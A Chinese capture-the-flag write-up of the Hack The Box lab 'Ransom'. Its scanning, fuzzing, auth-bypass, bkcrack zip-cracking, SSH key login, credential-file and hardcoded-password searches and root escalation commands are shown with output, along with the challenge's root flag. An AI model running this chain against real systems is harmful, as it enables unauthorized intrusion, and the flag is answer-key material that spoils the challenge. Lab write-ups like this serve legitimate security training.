HTB:Ransom[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用ffuf对靶机80端口进行路径FUZZ
访问/register路径可见疑似网页源码泄露
访问/login路径查看HTML源码
边界突破
尝试对/login路径中的参数进行SQL注入
使用Yakit进行抓包可见该路径使用GET方法发送请求
使用sqlmap对该路径进行自动化注入
通过findsomething插件可见该路径使用接口:/api/login
尝试通过POST方法访问该接口
使用arjun对该接口进行参数FUZZ
尝试直接在接口后拼接password参数获得响应码200
使用Yakit中的Fuzzer进行爆破发现请求数被限制
尝试构造JSON格式的数据以GET方法发包
通过验证后可下载两个文件
另一为.zip压缩且存在解压密码
使用7z查看该压缩包内的文件压缩属性
直接在任意Linux系统中查找该文件
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩
使用bkcrack对压缩包密钥进行爆破
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
为id_rsa文件赋权,使其符合SSH服务安全连接标准
使用id_rsa私钥文件对靶机SSH服务进行登录
权限提升
查看靶机系统内存在的用户
尝试查看当前用户可sudo执行的二进制文件
查找系统中的SUID文件
查找系统中的CAP_SUID文件
查看靶机系统中的网络连接
查看当前靶机系统中的进程
由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
我尝试利用该密码直接切换到root用户
查找root.txt文件
连接至HTB服务器并启动靶机
靶机IP:10.10.11.153
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.153 -r 1-65535 --ulimit 5000

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p22,80 --script=vuln -O -Pn 10.10.11.153

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.153

使用ffuf对靶机80端口进行路径FUZZ
ffuf -u http://10.10.11.153/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

访问/register路径可见疑似网页源码泄露
- 但是翻了一圈并没有敏感信息泄露

访问/login路径查看HTML源码
- 依然没有敏感信息泄露

边界突破
尝试对/login路径中的参数进行SQL注入
- 由于该接口挂载了无法通信的CDN所以加载会有些慢

使用Yakit进行抓包可见该路径使用GET方法发送请求

使用sqlmap对该路径进行自动化注入
sqlmap -u http://10.10.11.153/login?password=123456 --batch --level=5 --risk=3
- 这里跑了半天最后也没出Payload

通过findsomething插件可见该路径使用接口:/api/login

尝试通过POST方法访问该接口
- 通过响应可知该接口不允许使用POST方法

- 修改为GET方法后响应码302

使用arjun对该接口进行参数FUZZ
arjun -u http://10.10.11.153/api/login
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# arjun -u http://10.10.11.153/api/login
_
/_| _ '
( |/ /(//) v2.2.6
_/[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[+] Heuristic scanner found 1 parameter: password
[*] Logicforcing the URL endpoint
[!] No parameters were discovered.
尝试直接在接口后拼接password参数获得响应码200

- 响应内容:Invalid Password,这里我尝试测试弱口令
使用Yakit中的Fuzzer进行爆破发现请求数被限制

尝试构造JSON格式的数据以GET方法发包

- 发现可以正常收到200响应,那如果将password改成其他参数呢?

通过验证后可下载两个文件

- 其中user.txt文件

另一为.zip压缩且存在解压密码
- 感觉像在做CTF :=)

使用7z查看该压缩包内的文件压缩属性
- ZipCrypto Deflate这种算法适用已知明文攻击
- 不了解压缩包明文攻击的师傅可以查看下方我撰写的另一篇博文
Bugku CTF:请攻击这个压缩包[WriteUP]_zip明文攻击-CSDN博客

- 在该加密的压缩包中,.bash_logout文件内容通常是固定的
直接在任意Linux系统中查找该文件
locate .bash_logout

- 其内容如下
cat /home/kali/.bash_logout
# ~/.bash_logout: executed by bash(1) when login shell exits.# when leaving the console clear the screen to increase privacyif [ "$SHLVL" = 1 ]; then[ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q
fi
使用Win-RAR将.bash_logout文件进行ZIP传统空加密压缩

使用bkcrack对压缩包密钥进行爆破
./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P 1.zip -p .bash_logout

- 获得三段密钥
7b549874 ebc25ec5 7e465e18
利用三段密钥将压缩包密钥设置为0dayhp并输出为final.zip
/bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U final.zip 0dayhp
bkcrack 1.7.1 - 2024-12-21
[05:33:06] Writing unlocked archive final.zip with password "0dayhp"
100.0 % (9 / 9)
Wrote unlocked archive.
对该压缩包进行解压后,分别查看authorized_keys、id_rsa.pub文件内容

- 由输出可见两个公钥文件内容一模一样,且用户名为htb
为id_rsa文件赋权,使其符合SSH服务安全连接标准
chmod 600 id_rsa
使用id_rsa私钥文件对靶机SSH服务进行登录
ssh htb@10.10.11.153 -i id_rsa

权限提升
查看靶机系统内存在的用户
cat /etc/passwd

尝试查看当前用户可sudo执行的二进制文件
sudo -l
- 没有htb用户密码,只能作罢
htb@ransom:~$ sudo -l
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
Sorry, try again.
[sudo] password for htb:
sudo: 3 incorrect password attempts
查找系统中的SUID文件
find / -perm -4000 -ls -type f 2>/dev/null
- 显然,这里面没有能让我们感兴趣的文件

查找系统中的CAP_SUID文件
getcap / 2>/dev/null
- 运行后鸦雀无声
htb@ransom:~$ getcap / 2>/dev/null
htb@ransom:~$
查看靶机系统中的网络连接
ss -tlnp
- 这里也没什么特别的

查看当前靶机系统中的进程
ps -aux

由于靶机使用的是PHP脚本编写的Web应用程序,因此我尝试查找靶机系统内的.php认证文件
find / -name '*.php' -type f 2>/dev/null | grep -i auth | tee list

将找到的.php认证相关文件绝对路径保存到list列表中,使用命令不断匹配`password`、`==`、`:`关键字
cat list | xargs -I {} sh -c 'cat {} | grep -i "password"' | grep -E '==|:'

- 在输出中,第二行代码最引人注目
if ($request->get('password') == "UHC-March-Global-PW!") {
我尝试利用该密码直接切换到root用户
htb@ransom:/tmp$ su root
Password:
root@ransom:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@ransom:/tmp# whoami
root
查找root.txt文件
find / -name 'root.txt'
root@ransom:/tmp# find / -name 'root.txt'
/root/root.txt
root@ransom:/tmp# cat /root/root.txt
943b5a4a3b1ade93547c62304a379110
相关文章:
HTB:Ransom[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用ffuf对靶机80端口进行路径FUZZ 访问/regist…...
Eclipse配置Tomcat服务器(最全图文详解)
前言: 本章使用图文讲解如何在Eclipse开发工具中配置Tomcat服务器、如何创建和启动JavaWeb工程,欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标: 一、配置Tomcat服务器 1. 切换Eclipse视图 2. 打开菜单 3. 找到服务选项 4. 选择…...
STM32烧写失败之Contents mismatch at: 0800005CH (Flash=FFH Required=29H) !
一)问题:用ULINK2给STM32F103C8T6下载程序,下载方式设置如下: 出现下面两个问题: 1)下载问题界面如下: 这个错误的信息大概可以理解为,在0x08000063地址上读取到flash存储为FF&am…...
用户界面的UML建模10
非正常的可视反馈可伴随着同步事件发生,而同步事件可由系统动作产生。但是,可以分别对它们进行建模。 在下节中将对这些特殊的事件依次进行论述。 6.1 异常处理建模 异常,由Meyer 定义[16],其作为运行时事件(run-time events&a…...
电影动画shader解析与实现
着色器代码解析 大家好!我是 [数擎AI],一位热爱探索新技术的前端开发者,在这里分享前端和Web3D、AI技术的干货与实战经验。如果你对技术有热情,欢迎关注我的文章,我们一起成长、进步! 开发领域:…...
蓝桥杯 第十五届 研究生组 B题 召唤数学精灵
问题描述: 数学家们发现了两种用于召唤强大的数学精灵的仪式,这两种仪式分别被称为累加法仪式 A(n) 和累乘法仪式 B(n)。累加法仪式 A(n) 是将从 1 到 n 的所有数字进行累加求和,即:A(n)12⋯n累乘法仪式 B(n) 则是将从 1 到 n 的所…...
在 Go 应用中 如何像 FastAPI 一样优雅地构建控制器
文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...
用户界面的UML建模11
然而,在用户界面方面,重要的是要了解《boundary》类是如何与这个异常分层结构进行关联的。 《exception》类的对象可以作为《control》类的对象。因此,《exception》类能够聚合《boundary》类。 参见图12,《exception》Database…...
历代iPhone运行内存大小和电池容量信息
系列设备名称充电端口标配充电线PD快充无线充电 (W)标配充电器电池容量 (mAh)发布时间RAM运存iPhone 16iPhone 16 Pro MaxUSB Type-CUSB-C to USB-C支持25无47472024/9/108GB LPDDR5XiPhone 16 ProUSB Type-CUSB-C to USB-C支持25无35772024/9/108GB LPDDR5XiPhone 16 PlusUSB …...
计算机网络之---物理层设备
什么是物理层设备 物理层设备是指负责数据在物理媒介上传输的硬件设备,它们主要处理数据的转换、信号的传输与接收,而不涉及数据的内容或意义。常见的物理层设备包括网卡、集线器、光纤收发器、调制解调器等。 物理层设备有哪些 1、网卡(N…...
57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景
57. Three.js案例-创建一个带有聚光灯和旋转立方体的3D场景 实现效果 该案例实现了使用Three.js创建一个带有聚光灯和旋转立方体的3D场景。 知识点 WebGLRenderer(WebGL渲染器) THREE.WebGLRenderer 是 Three.js 中用于将场景渲染为 WebGL 内容的核…...
第八讲 一元函数积分学的概念和性质
不定积分 1.原函数与不定积分 需知道:F(X)可导必连续 2.原函数(不定积分)存在定理 (1)连续函数f(x)必有原函数F(x) (2)含有第一类间断点和无穷间断点的函数f(x)在包含该间断点的区间内必没有原函数F(x). 速记:只有震荡可能有…...
ADMM原理及应用
文章目录 1. ADMM原理1.1. 数学形式1.2. 传统“乘子法”和它的不足1.3. ADMM 的核心思想:分步做1.4. Scaled Form of ADMM1.5. 迭代过程中主要检查的两大残差1.6. 怎么设置停止准则(Stopping Criteria)?1.7. 自适应调整罚参数 ρ \rho ρ(又…...
mysql之sql的优化方案(重点)
1、全字段匹配是最棒的 假如一个Staffs 这个表,将 name,age ,pos 组合成了一个联合索引,在where条件下,能够使用到的索引越多越好。 EXPLAIN SELECT * FROM staffs WHERE NAME July; EXPLAIN SELECT * FROM staffs WHERE NAME July AND age…...
【LeetCode】303. 区域和检索 - 数组不可变
目录 描述Python1. 前缀和 描述 给定一个整数数组nums,处理以下类型的多个查询:计算索引left和right(包含left和right)之间的nums元素的 和 ,其中left < right 实现NumArray类: NumArray(int[] nums)&a…...
前端开发 vue 中如何实现 u-form 多个form表单同时校验
在 Vue 项目中使用 UView UI 的 u-form 组件时,多个表单同时校验的需求非常常见。例如,当我们有多个表单需要在同一个页面中进行校验并提交时,我们需要确保每个表单都能进行单独验证,同时可以在同一时刻进行批量验证。 接下来&am…...
【网络】什么是速率 (Rate)带宽 (Bandwidth)吞吐量 (Throughput)?
注意单位: 在 kbps、Mbps、Gbps 中,前面的 k、M、G 是 国际单位制(SI) 的前缀,表示不同的数量级: k(千/kilo): (10^3 1,000) kbps(kilobits per second): 每秒 1,000 位(…...
(leetcode算法题)769. 最多能完成排序的块
Q1. 是否能用贪心算法?为什么? 先预设一个策略,每当当前的nums[i]满足可以 "成块",就直接让这个数成块,也就是说之后的遍历过程中不会将这个数在考虑到自己的块内, "成块" 是指只要只…...
高光谱相机的特点
光谱特性 高光谱分辨率:能将光谱范围分割成极窄的波段,光谱分辨率通常达到纳米级甚至亚纳米级,可精确捕捉到不同物质在细微光谱差异上的特征,比如可以区分不同种类的植被因叶绿素含量等差异而在光谱上的细微变化。 多波段探测&a…...
《Spring Framework实战》8:4.1.3.Bean 概述
欢迎观看《Spring Framework实战》视频教程 Spring IoC 容器管理一个或多个 bean。这些 bean 是使用 您提供给容器的配置元数据(例如,以 XML <bean/>定义的形式)。 在容器本身中,这些 bean 定义表示为BeanDefinition对象&a…...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
【论文阅读28】-CNN-BiLSTM-Attention-(2024)
本文把滑坡位移序列拆开、筛优质因子,再用 CNN-BiLSTM-Attention 来动态预测每个子序列,最后重构出总位移,预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵(S…...
Device Mapper 机制
Device Mapper 机制详解 Device Mapper(简称 DM)是 Linux 内核中的一套通用块设备映射框架,为 LVM、加密磁盘、RAID 等提供底层支持。本文将详细介绍 Device Mapper 的原理、实现、内核配置、常用工具、操作测试流程,并配以详细的…...
springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...
密码学基础——SM4算法
博客主页:christine-rr-CSDN博客 专栏主页:密码学 📌 【今日更新】📌 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 编辑…...
timestamp时间戳转换工具
作为一名程序员,一款高效的 在线转换工具 (在线时间戳转换 计算器 字节单位转换 json格式化)必不可少!https://jsons.top 排查问题时非常痛的点: 经常在秒级、毫秒级、字符串格式的时间单位来回转换,于是决定手撸一个…...
短视频时长预估算法调研
weighted LR o d d s T p 1 − p ( 1 − p ) o d d s T p ( T p o d d s ∗ p ) o d d s p o d d s T o d d s odds \frac{Tp}{1-p} \newline (1-p)odds Tp \newline (Tp odds * p) odds \newline p \frac{odds}{T odds} \newline odds1−pTp(1−p)oddsTp(Tpodds…...
Polarctf2025夏季赛 web java ez_check
第一次自己做出一个java,值得小小的记录,polar的java真得非常友好 反编译jar包,一眼就看到有个/deserialize 路由,接受base64的序列化数据,base64解码后 经过一次kmp检查,再由SafeObjectInputStream来反序列…...
【JMeter】后置处理器 - 提取器
文章目录 概览边界提取器正则提取器JSON提取器 概览 CSS/JQuery提取器;给网页使用JSON提取器:给JSON数据使用★边界提取器:给字符串使用★正则表达式提取器:更加高级的字符使用★Xpath提取器:给网页使用 边界提取器…...
打通印染车间“神经末梢”:DeviceNet转Ethernet/IP连接机器人的高效方案
在印染行业自动化升级中,设备联网需求迫切。老旧印染设备多采用Devicenet协议,而新型工业机器人普遍支持Ethernet/IP协议,协议不兼容导致数据交互困难,设备协同效率低、生产监控滞后,成了行业数字化转型的阻碍。本文将…...
